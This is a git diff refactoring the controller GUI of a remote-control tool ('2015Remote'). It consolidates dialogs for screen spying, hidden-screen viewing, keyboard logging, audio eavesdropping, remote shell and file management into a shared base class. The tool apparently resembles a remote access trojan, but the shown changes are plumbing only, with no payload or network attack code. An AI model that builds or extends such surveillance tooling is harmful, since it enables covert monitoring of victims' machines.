diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 4dc1367..8242d99 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -107,6 +107,12 @@ BOOL CMy2015RemoteApp::InitInstance() SetUnhandledExceptionFilter(&whenbuged); + SHFILEINFO sfi = {}; + HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_LARGEICON | SHGFI_SYSICONINDEX); + m_pImageList_Large.Attach(hImageList); + hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_SMALLICON | SHGFI_SYSICONINDEX); + m_pImageList_Small.Attach(hImageList); + // 如果一个运行在 Windows XP 上的应用程序清单指定要 // 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式, //则需要 InitCommonControlsEx()。否则,将无法创建窗口。 diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index 531de32..b8406e0 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -23,6 +23,10 @@ public: config *m_iniFile; HANDLE m_Mutex; IOCPServer* m_iocpServer; + + CImageList m_pImageList_Large; //系统大图标 + CImageList m_pImageList_Small; //系统小图标 + // 重写 public: virtual BOOL InitInstance(); diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 83d8e89..c9aef74 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index ee78719..a8d93b3 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1644,93 +1644,10 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) AUTO_TICK(50); - switch (ContextObject->v1) - { - case VIDEO_DLG: - { - CVideoDlg* Dlg = (CVideoDlg*)ContextObject->hDlg; + if (ContextObject->v1) { + DialogBase* Dlg = (DialogBase*)ContextObject->hDlg; Dlg->OnReceiveComplete(); - break; - } - case SERVICES_DLG: - { - CServicesDlg* Dlg = (CServicesDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case AUDIO_DLG: - { - CAudioDlg* Dlg = (CAudioDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case SYSTEM_DLG: - { - CSystemDlg* Dlg = (CSystemDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case SHELL_DLG: - { - CShellDlg* Dlg = (CShellDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case SCREENSPY_DLG: - { - CScreenSpyDlg* Dlg = (CScreenSpyDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case FILEMANAGER_DLG: - { - CFileManagerDlg* Dlg = (CFileManagerDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case REGISTER_DLG: - { - CRegisterDlg* Dlg = (CRegisterDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case KEYBOARD_DLG: - { - CKeyBoardDlg* Dlg = (CKeyBoardDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case PROXY_DLG: { - CProxyMapDlg* Dlg = (CProxyMapDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case HIDESCREEN_DLG: { - CHideScreenSpyDlg* Dlg = (CHideScreenSpyDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case MACHINE_DLG: { - CMachineDlg* Dlg = (CMachineDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case CHAT_DLG: { - CChat* Dlg = (CChat*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case DECRYPT_DLG: { - DecryptDlg* Dlg = (DecryptDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case FILEMGR_DLG: { - file::CFileManagerDlg* Dlg = (file::CFileManagerDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - default: { + } else { HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (hEvent == NULL) { Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject); @@ -1744,7 +1661,6 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit }; DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE); } - } } // 瀵硅瘽妗嗗彞鏌勫強瀵硅瘽妗嗙被鍨 @@ -2052,99 +1968,9 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) dlgInfo *p = (dlgInfo *)wParam; if (p) { - switch(p->v1) - { - case TALK_DLG: - { - CTalkDlg *Dlg = (CTalkDlg*)p->hDlg; - delete Dlg; - break; - } - case VIDEO_DLG: - { - CVideoDlg *Dlg = (CVideoDlg*)p->hDlg; - delete Dlg; - break; - } - case SERVICES_DLG: - { - CServicesDlg *Dlg = (CServicesDlg*)p->hDlg; - delete Dlg; - break; - } - case AUDIO_DLG: - { - CAudioDlg *Dlg = (CAudioDlg*)p->hDlg; - delete Dlg; - break; - } - case SYSTEM_DLG: - { - CSystemDlg *Dlg = (CSystemDlg*)p->hDlg; - delete Dlg; - break; - } - case SHELL_DLG: - { - CShellDlg *Dlg = (CShellDlg*)p->hDlg; - delete Dlg; - break; - } - case SCREENSPY_DLG: - { - CScreenSpyDlg *Dlg = (CScreenSpyDlg*)p->hDlg; - delete Dlg; - break; - } - case FILEMANAGER_DLG: - { - CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg; - delete Dlg; - break; - } - case REGISTER_DLG: - { - CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg; - delete Dlg; //鐗规畩澶勭悊 - break; - } - case KEYBOARD_DLG: - { - CKeyBoardDlg* Dlg = (CKeyBoardDlg*)p->hDlg; - delete Dlg; - break; - } - case HIDESCREEN_DLG: - { - CHideScreenSpyDlg* Dlg = (CHideScreenSpyDlg*)p->hDlg; - delete Dlg; - break; - } - case MACHINE_DLG: - { - CMachineDlg* Dlg = (CMachineDlg*)p->hDlg; - delete Dlg; - break; - } - case CHAT_DLG: - { - CChat* Dlg = (CChat*)p->hDlg; - delete Dlg; - break; - } - case DECRYPT_DLG: - { - DecryptDlg* Dlg = (DecryptDlg*)p->hDlg; - delete Dlg; - break; - } - case FILEMGR_DLG: - { - file::CFileManagerDlg* Dlg = (file::CFileManagerDlg*)p->hDlg; + if (p->v1) { + CDialogBase* Dlg = (CDialogBase*)p->hDlg; ::PostMessageA(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0); - break; - } - default:break; } delete p; p = NULL; @@ -2220,267 +2046,83 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow()); - Dlg->ShowWindow(SW_SHOWMAXIMIZED); - - ContextObject->v1 = SCREENSPY_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - //杞埌CFileManagerDlg 鏋勯犲嚱鏁 - CFileManagerDlg *Dlg = new CFileManagerDlg(this,m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_FILE, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = FILEMANAGER_DLG; - ContextObject->hDlg = Dlg; - EnterCriticalSection(&m_cs); - /* - for (std::vector::iterator iter = v_FileDlg.begin(); - iter != v_FileDlg.end(); ) - { - CFileManagerDlg *cur = *iter; - if (cur->m_bIsClosed) - { - delete cur; - iter = v_FileDlg.erase(iter); - }else{ - ++iter; - } - } - v_FileDlg.push_back(Dlg); - */ - LeaveCriticalSection(&m_cs); - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenTalkDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - //杞埌CFileManagerDlg 鏋勯犲嚱鏁 - CTalkDlg *Dlg = new CTalkDlg(this,m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DIALOG_TALK, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = TALK_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - //杞埌CFileManagerDlg 鏋勯犲嚱鏁 - CShellDlg *Dlg = new CShellDlg(this,m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = SHELL_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - //杞埌CFileManagerDlg 鏋勯犲嚱鏁 - CSystemDlg *Dlg = new CSystemDlg(this,m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DIALOG_SYSTEM, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = SYSTEM_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - //杞埌CFileManagerDlg 鏋勯犲嚱鏁 - CAudioDlg *Dlg = new CAudioDlg(this,m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DIALOG_AUDIO, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = AUDIO_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - //杞埌CFileManagerDlg 鏋勯犲嚱鏁 - CServicesDlg *Dlg = new CServicesDlg(this,m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DIALOG_SERVICES, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = SERVICES_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - //杞埌CFileManagerDlg 鏋勯犲嚱鏁 - CRegisterDlg *Dlg = new CRegisterDlg(this,m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DIALOG_REGISTER, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = REGISTER_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam; - - //杞埌CFileManagerDlg 鏋勯犲嚱鏁 - CVideoDlg *Dlg = new CVideoDlg(this,m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DIALOG_VIDEO, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = VIDEO_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - - CKeyBoardDlg* Dlg = new CKeyBoardDlg(this, m_iocpServer, ContextObject); - // 璁剧疆鐖剁獥鍙d负鍗撻潰 - Dlg->Create(IDD_DLG_KEYBOARD, GetDesktopWindow()); //鍒涘缓闈為樆濉炵殑Dlg - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = KEYBOARD_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenProxyDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - - CProxyMapDlg* Dlg = new CProxyMapDlg(this, m_iocpServer, ContextObject); - Dlg->Create(IDD_PROXY, GetDesktopWindow()); - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = PROXY_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - - CHideScreenSpyDlg* Dlg = new CHideScreenSpyDlg(this, m_iocpServer, ContextObject); - - Dlg->Create(IDD_SCREEN, GetDesktopWindow()); - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = HIDESCREEN_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - - CMachineDlg* Dlg = new CMachineDlg(this, m_iocpServer, ContextObject); - - Dlg->Create(IDD_MACHINE, GetDesktopWindow()); - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = MACHINE_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - - CChat* Dlg = new CChat(this, m_iocpServer, ContextObject); - - Dlg->Create(IDD_CHAT, GetDesktopWindow()); - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = CHAT_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - - DecryptDlg* Dlg = new DecryptDlg(this, m_iocpServer, ContextObject); - - Dlg->Create(IDD_DIALOG_DECRYPT, GetDesktopWindow()); - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = DECRYPT_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } LRESULT CMy2015RemoteDlg::OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam) { - CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; - - file::CFileManagerDlg* Dlg = new file::CFileManagerDlg(this, m_iocpServer, ContextObject); - - Dlg->Create(IDD_FILE_WINOS, GetDesktopWindow()); - Dlg->ShowWindow(SW_SHOW); - - ContextObject->v1 = FILEMGR_DLG; - ContextObject->hDlg = Dlg; - - return 0; + return OpenDialog(wParam, lParam); } BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index f417bb2..348033b 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -147,7 +147,18 @@ public: void SortByColumn(int nColumn); afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult); static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort); + template LRESULT OpenDialog(WPARAM wParam, LPARAM lParam) + { + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + T* Dlg = new T(this, m_iocpServer, ContextObject); + Dlg->Create(id, GetDesktopWindow()); + Dlg->ShowWindow(Show); + ContextObject->v1 = id; + ContextObject->hDlg = Dlg; + + return 0; + } VOID InitControl(); //初始控件 VOID TestOnline(); //测试函数 VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 25f67c0..9872c13 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -392,6 +392,13 @@ + + + + + + + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 52e682e..c5cff83 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -140,6 +140,13 @@ + + + + + + + diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp index 503d088..1c89f2a 100644 --- a/server/2015Remote/AudioDlg.cpp +++ b/server/2015Remote/AudioDlg.cpp @@ -12,22 +12,14 @@ IMPLEMENT_DYNAMIC(CAudioDlg, CDialog) CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) -: CDialog(CAudioDlg::IDD, pParent) +: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO) , m_bSend(FALSE) { - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //处理图标 m_bIsWorking = TRUE; m_bThreadRun = FALSE; - m_iocpServer = IOCPServer; //为类的成员变量赋值 - m_ContextObject = ContextObject; + m_hWorkThread = NULL; m_nTotalRecvBytes = 0; - sockaddr_in ClientAddress; - memset(&ClientAddress, 0, sizeof(ClientAddress)); //得到被控端ip - int iClientAddressLen = sizeof(ClientAddress); - BOOL bResult = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddress, &iClientAddressLen); - - m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""; } CAudioDlg::~CAudioDlg() @@ -60,7 +52,7 @@ BOOL CAudioDlg::OnInitDialog() SetIcon(m_hIcon,FALSE); CString strString; - strString.Format("%s - 语音监听", m_strIPAddress); + strString.Format("%s - 语音监听", m_IPAddress); SetWindowText(strString); BYTE bToken = COMMAND_NEXT; @@ -122,19 +114,11 @@ void CAudioDlg::OnReceiveComplete(void) void CAudioDlg::OnClose() { - // TODO: 在此添加消息处理程序代码和/或调用默认值 -#if CLOSE_DELETE_DLG - m_ContextObject->v1 = 0; -#endif - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); + CancelIO(); m_bIsWorking = FALSE; WaitForSingleObject(m_hWorkThread, INFINITE); - CDialog::OnClose(); -#if CLOSE_DELETE_DLG - delete this; -#endif + DialogBase::OnClose(); } // 处理是否发送本地语音到远程 diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h index 1c8e61b..1c269bf 100644 --- a/server/2015Remote/AudioDlg.h +++ b/server/2015Remote/AudioDlg.h @@ -5,17 +5,14 @@ // CAudioDlg 对话框 -class CAudioDlg : public CDialog +class CAudioDlg : public DialogBase { DECLARE_DYNAMIC(CAudioDlg) public: CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CAudioDlg(); - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; - HICON m_hIcon; - CString m_strIPAddress; + DWORD m_nTotalRecvBytes; BOOL m_bIsWorking; BOOL m_bThreadRun; diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp index b579e2d..6c5fd12 100644 --- a/server/2015Remote/Chat.cpp +++ b/server/2015Remote/Chat.cpp @@ -14,12 +14,8 @@ CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) - : DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, 0) + : DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT) { - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_CHAT)); - m_iocpServer = pIOCPServer; - m_pContext = pContext; - m_bOnClose = FALSE; } @@ -51,13 +47,13 @@ BOOL CChat::OnInitDialog() CDialog::OnInitDialog(); CString str; - str.Format(_T("远程交谈 - %s"), m_pContext->PeerName.c_str()), + str.Format(_T("远程交谈 - %s"), m_ContextObject->PeerName.c_str()), SetWindowText(str); m_editTip.SetWindowText(_T("提示: 对方聊天对话框在发送消息后才会弹出")); m_editNewMsg.SetLimitText(4079); // TODO: Add extra initialization here BYTE bToken = COMMAND_NEXT_CHAT; - m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon @@ -71,8 +67,8 @@ void CChat::OnReceive() void CChat::OnReceiveComplete() { - m_pContext->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1); - char* strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(0); + m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1); + char* strResult = (char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0); SYSTEMTIME st; GetLocalTime(&st); char Text[5120] = { 0 }; @@ -93,7 +89,7 @@ void CChat::OnButtonSend() return; // 发送消息为空不处理 } m_editTip.ShowWindow(SW_HIDE); - m_iocpServer->Send(m_pContext, (LPBYTE)str, lstrlen(str) + sizeof(char)); + m_iocpServer->Send(m_ContextObject, (LPBYTE)str, lstrlen(str) + sizeof(char)); SYSTEMTIME st; GetLocalTime(&st); char Text[5120] = { 0 }; @@ -114,7 +110,7 @@ void CChat::OnButtonEnd() void CChat::OnClose() { - m_ContextObject->CancelIO(); + CancelIO(); CDialogBase::OnClose(); } @@ -140,7 +136,7 @@ HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) void CChat::PostNcDestroy() { - if (!m_bOnClose) + if (!m_bIsClosed) OnCancel(); CDialog::PostNcDestroy(); delete this; @@ -170,11 +166,11 @@ void CChat::OnBnClickedButton_LOCK() { BYTE bToken = COMMAND_CHAT_SCREEN_LOCK; - m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); } void CChat::OnBnClickedButton_UNLOCK() { BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK; - m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); } diff --git a/server/2015Remote/Chat.h b/server/2015Remote/Chat.h index aeaa5cf..aa17bd9 100644 --- a/server/2015Remote/Chat.h +++ b/server/2015Remote/Chat.h @@ -24,8 +24,6 @@ protected: // Implementation protected: - ClientContext* m_pContext; - ISocketBase* m_iocpServer; virtual BOOL OnInitDialog(); afx_msg void OnButtonSend(); @@ -36,9 +34,7 @@ protected: afx_msg void OnKillfocusEditChatLog(); DECLARE_MESSAGE_MAP() -private: - HICON m_hIcon; - BOOL m_bOnClose; + public: CEdit m_editTip; CEdit m_editNewMsg; diff --git a/server/2015Remote/DecryptDlg.cpp b/server/2015Remote/DecryptDlg.cpp index 739d2a0..93c4d96 100644 --- a/server/2015Remote/DecryptDlg.cpp +++ b/server/2015Remote/DecryptDlg.cpp @@ -60,7 +60,7 @@ VOID DecryptDlg::OnReceiveComplete() { } void DecryptDlg::OnClose() { - m_ContextObject->CancelIO(); + CancelIO(); CDialogBase::OnClose(); } diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index 4a9e389..cf23939 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -36,7 +36,7 @@ float GetScreenScalingFactor() { } CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) - : CDialog(CFileManagerDlg::IDD, pParent) + : DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER) { m_fScalingFactor = GetScreenScalingFactor(); //{{AFX_DATA_INIT(CFileManagerDlg) @@ -52,7 +52,6 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client sizeof(SHFILEINFO), SHGFI_ICON | SHGFI_USEFILEATTRIBUTES ); - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_FATHER)); // 加载系统图标列表 static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo ( @@ -77,21 +76,10 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client static CImageList *pSmall = CImageList::FromHandle(hImageList_Small); m_pImageList_Small = pSmall; - // 初始化应该传输的数据包大小为0 - - m_iocpServer = pIOCPServer; - m_pContext = pContext; - sockaddr_in sockAddr; - memset(&sockAddr, 0, sizeof(sockAddr)); - int nSockAddrLen = sizeof(sockAddr); - BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen); - - m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; - // 保存远程驱动器列表 memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); - PBYTE pSrc = m_pContext->m_DeCompressionBuffer.GetBuffer(1); - int length = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; + PBYTE pSrc = m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); + int length = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; if (length > 0) memcpy(m_bRemoteDriveList, pSrc, length); @@ -898,17 +886,9 @@ void CFileManagerDlg::OnClose() // TODO: Add your message handler code here and/or call default CoUninitialize(); -#if CLOSE_DELETE_DLG - m_pContext->v1 = 0; -#endif + CancelIO(); - closesocket(m_pContext->m_Socket); - - CDialog::OnClose(); - m_bIsClosed = true; -#if CLOSE_DELETE_DLG - //delete this; //此处释放内存会在第2次崩溃 -#endif + DialogBase::OnClose(); } CString CFileManagerDlg::GetParentDirectory(CString strPath) @@ -935,15 +915,15 @@ CString CFileManagerDlg::GetParentDirectory(CString strPath) void CFileManagerDlg::OnReceiveComplete() { - switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) + switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FILE_LIST: // 文件列表 try { FixedRemoteFileList ( - m_pContext->m_DeCompressionBuffer.GetBuffer(0), - m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1 + m_ContextObject->m_DeCompressionBuffer.GetBuffer(0), + m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1 ); } catch (CMemoryException* e) @@ -1039,7 +1019,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send(m_pContext, bPacket, PacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); @@ -1498,7 +1478,7 @@ BOOL CFileManagerDlg::SendDownloadJob() bPacket[0] = COMMAND_DOWN_FILES; // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1); - m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1555,7 +1535,7 @@ BOOL CFileManagerDlg::SendUploadJob() memcpy(bPacket + 5, &dwSizeLow, 